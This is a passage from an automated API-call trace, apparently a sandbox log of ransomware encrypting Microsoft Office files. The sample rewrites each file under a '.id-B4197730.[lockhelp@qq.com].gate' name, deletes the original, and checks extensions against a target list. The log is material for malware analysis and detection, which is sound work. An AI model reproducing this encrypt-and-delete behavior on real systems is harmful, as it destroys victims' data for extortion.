| out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x2135, lpOverlapped=0x0) returned 1 [0301.956] WriteFile (in: hFile=0x4c0, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x2140, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x2140, lpOverlapped=0x0) returned 1 [0301.957] ReadFile (in: hFile=0x404, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0301.957] WriteFile (in: hFile=0x4c0, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0301.957] SetEndOfFile (hFile=0x4c0) returned 1 [0301.962] CloseHandle (hObject=0x4c0) returned 1 [0301.962] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.963] SetEndOfFile (hFile=0x404) returned 1 [0301.970] CloseHandle (hObject=0x404) returned 1 [0301.970] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0302.221] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid")) returned 1 [0302.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0302.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0302.222] lstrlenW (lpString=".doc") returned 4 [0302.222] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0302.222] lstrlenW (lpString=".docx") returned 5 [0302.222] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0302.222] lstrlenW (lpString=".pdf") returned 4 [0302.222] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0302.222] lstrlenW (lpString=".xls") returned 4 [0302.222] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0302.222] lstrlenW (lpString=".xlsx") returned 5 [0302.222] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0302.222] lstrlenW (lpString=".ppt") returned 4 [0302.222] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0302.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0302.222] lstrlenW (lpString=".zip") returned 4 [0302.222] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0302.223] lstrlenW (lpString=".rar") returned 4 [0302.223] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0302.223] lstrlenW (lpString=".bz2") returned 4 [0302.223] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0302.223] lstrlenW (lpString=".7z") returned 3 [0302.223] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0302.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0302.223] lstrlenW (lpString=".dbf") returned 4 [0302.223] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0302.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0302.223] lstrlenW (lpString=".1cd") returned 4 [0302.223] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0302.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0302.223] lstrlenW (lpString=".jpg") returned 4 [0302.223] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0302.224] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.224] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0302.225] GetLastError () returned 0x0 [0302.225] ReadFile (in: hFile=0x514, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x51933, lpOverlapped=0x0) returned 1 [0302.399] WriteFile (in: hFile=0x4e8, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x51940, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x51940, lpOverlapped=0x0) returned 1 [0302.404] ReadFile (in: hFile=0x514, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0302.404] WriteFile (in: hFile=0x4e8, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0xf8, lpOverlapped=0x0) returned 1 [0302.405] SetEndOfFile (hFile=0x4e8) returned 1 [0302.405] CloseHandle (hObject=0x4e8) returned 1 [0302.405] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.405] SetEndOfFile (hFile=0x514) returned 1 [0302.461] CloseHandle (hObject=0x514) returned 1 [0302.462] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0302.462] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx")) returned 1 [0302.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0302.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0302.463] lstrlenW (lpString=".doc") returned 4 [0302.463] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0302.463] lstrlenW (lpString=".docx") returned 5 [0302.463] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0302.463] lstrlenW (lpString=".pdf") returned 4 [0302.463] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0302.463] lstrlenW (lpString=".xls") returned 4 [0302.463] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0302.463] lstrlenW (lpString=".xlsx") returned 5 [0302.463] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0302.463] lstrlenW (lpString=".ppt") returned 4 [0302.463] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0302.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0302.463] lstrlenW (lpString=".zip") returned 4 [0302.463] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0302.463] lstrlenW (lpString=".rar") returned 4 [0302.463] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0302.463] lstrlenW (lpString=".bz2") returned 4 [0302.463] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0302.463] lstrlenW (lpString=".7z") returned 3 [0302.463] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0302.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0302.463] lstrlenW (lpString=".dbf") returned 4 [0302.463] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0302.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0302.463] lstrlenW (lpString=".1cd") returned 4 [0302.464] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0302.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0302.464] lstrlenW (lpString=".jpg") returned 4 [0302.464] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0302.464] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=44971) returned 1 [0302.464] CloseHandle (hObject=0x514) returned 1 [0302.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx")) returned 0x220 [0302.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0302.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0302.465] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.465] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0302.465] GetLastError () returned 0x0 [0302.465] ReadFile (in: hFile=0x514, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0xafab, lpOverlapped=0x0) returned 1 [0302.550] WriteFile (in: hFile=0x52c, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0xafb0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0xafb0, lpOverlapped=0x0) returned 1 [0302.552] ReadFile (in: hFile=0x514, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0302.552] WriteFile (in: hFile=0x52c, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0xe8, lpOverlapped=0x0) returned 1 [0302.552] SetEndOfFile (hFile=0x52c) returned 1 [0302.552] CloseHandle (hObject=0x52c) returned 1 [0302.552] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.552] SetEndOfFile (hFile=0x514) returned 1 [0302.694] CloseHandle (hObject=0x514) returned 1 [0302.694] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0302.694] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx")) returned 1 [0302.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0302.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0302.695] lstrlenW (lpString=".doc") returned 4 [0302.695] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0302.695] lstrlenW (lpString=".docx") returned 5 [0302.695] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0302.695] lstrlenW (lpString=".pdf") returned 4 [0302.695] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0302.695] lstrlenW (lpString=".xls") returned 4 [0302.695] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0302.695] lstrlenW (lpString=".xlsx") returned 5 [0302.695] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0302.695] lstrlenW (lpString=".ppt") returned 4 [0302.695] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0302.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0302.695] lstrlenW (lpString=".zip") returned 4 [0302.695] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0302.695] lstrlenW (lpString=".rar") returned 4 [0302.696] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0302.696] lstrlenW (lpString=".bz2") returned 4 [0302.696] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0302.696] lstrlenW (lpString=".7z") returned 3 [0302.696] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0302.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0302.696] lstrlenW (lpString=".dbf") returned 4 [0302.696] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0302.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0302.696] lstrlenW (lpString=".1cd") returned 4 [0302.696] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0302.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0302.696] lstrlenW (lpString=".jpg") returned 4 [0302.696] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0302.696] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=186195) returned 1 [0302.696] CloseHandle (hObject=0x514) returned 1 [0302.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx")) returned 0x220 [0302.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0302.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0302.697] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.697] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0302.698] GetLastError () returned 0x0 [0302.698] ReadFile (in: hFile=0x514, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x2d753, lpOverlapped=0x0) returned 1 [0302.908] WriteFile (in: hFile=0x4e8, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x2d760, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x2d760, lpOverlapped=0x0) returned 1 [0302.913] ReadFile (in: hFile=0x514, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0302.913] WriteFile (in: hFile=0x4e8, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0xf6, lpOverlapped=0x0) returned 1 [0302.913] SetEndOfFile (hFile=0x4e8) returned 1 [0302.913] CloseHandle (hObject=0x4e8) returned 1 [0302.914] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.914] SetEndOfFile (hFile=0x514) returned 1 [0302.963] CloseHandle (hObject=0x514) returned 1 [0302.963] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0302.963] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx")) returned 1 [0302.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0302.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0302.964] lstrlenW (lpString=".doc") returned 4 [0302.964] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0302.964] lstrlenW (lpString=".docx") returned 5 [0302.964] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0302.964] lstrlenW (lpString=".pdf") returned 4 [0302.964] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0302.964] lstrlenW (lpString=".xls") returned 4 [0302.964] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0302.965] lstrlenW (lpString=".xlsx") returned 5 [0302.965] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0302.965] lstrlenW (lpString=".ppt") returned 4 [0302.965] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0302.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0302.965] lstrlenW (lpString=".zip") returned 4 [0302.965] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0302.965] lstrlenW (lpString=".rar") returned 4 [0302.965] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0302.965] lstrlenW (lpString=".bz2") returned 4 [0302.965] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0302.965] lstrlenW (lpString=".7z") returned 3 [0302.965] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0302.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0302.965] lstrlenW (lpString=".dbf") returned 4 [0302.965] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0302.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0302.965] lstrlenW (lpString=".1cd") returned 4 [0302.965] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0302.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0302.965] lstrlenW (lpString=".jpg") returned 4 [0302.965] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0306.646] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0306.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll") returned 68 [0306.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll") returned 68 [0306.646] lstrlenW (lpString=".doc") returned 4 [0306.646] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0306.646] lstrlenW (lpString=".docx") returned 5 [0306.646] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0306.646] lstrlenW (lpString=".pdf") returned 4 [0306.647] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0306.647] lstrlenW (lpString=".xls") returned 4 [0306.647] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0306.647] lstrlenW (lpString=".xlsx") returned 5 [0306.647] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0306.647] lstrlenW (lpString=".ppt") returned 4 [0306.647] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0306.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll") returned 68 [0306.647] lstrlenW (lpString=".zip") returned 4 [0306.647] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0306.647] lstrlenW (lpString=".rar") returned 4 [0306.647] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0306.647] lstrlenW (lpString=".bz2") returned 4 [0306.647] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0306.647] lstrlenW (lpString=".7z") returned 3 [0306.647] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0306.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll") returned 68 [0306.647] lstrlenW (lpString=".dbf") returned 4 [0306.647] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0306.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll") returned 68 [0306.647] lstrlenW (lpString=".1cd") returned 4 [0306.647] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0306.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll") returned 68 [0306.647] lstrlenW (lpString=".jpg") returned 4 [0306.647] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0308.085] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0308.085] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0308.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0308.096] GetLastError () returned 0x0 [0308.097] ReadFile (in: hFile=0x414, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x97da2, lpOverlapped=0x0) returned 1 [0308.463] WriteFile (in: hFile=0x4f0, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x97db0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x97db0, lpOverlapped=0x0) returned 1 [0308.543] ReadFile (in: hFile=0x414, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0308.543] WriteFile (in: hFile=0x4f0, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x10c, lpOverlapped=0x0) returned 1 [0308.543] SetEndOfFile (hFile=0x4f0) returned 1 [0308.623] CloseHandle (hObject=0x4f0) returned 1 [0308.623] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0308.623] SetEndOfFile (hFile=0x414) returned 1 [0309.008] CloseHandle (hObject=0x414) returned 1 [0309.011] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0309.246] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu")) returned 1 [0309.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0309.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79 [0309.313] lstrlenW (lpString=".doc") returned 4 [0309.313] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0309.313] lstrlenW (lpString=".docx") returned 5 [0309.313] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0309.313] lstrlenW (lpString=".pdf") returned 4 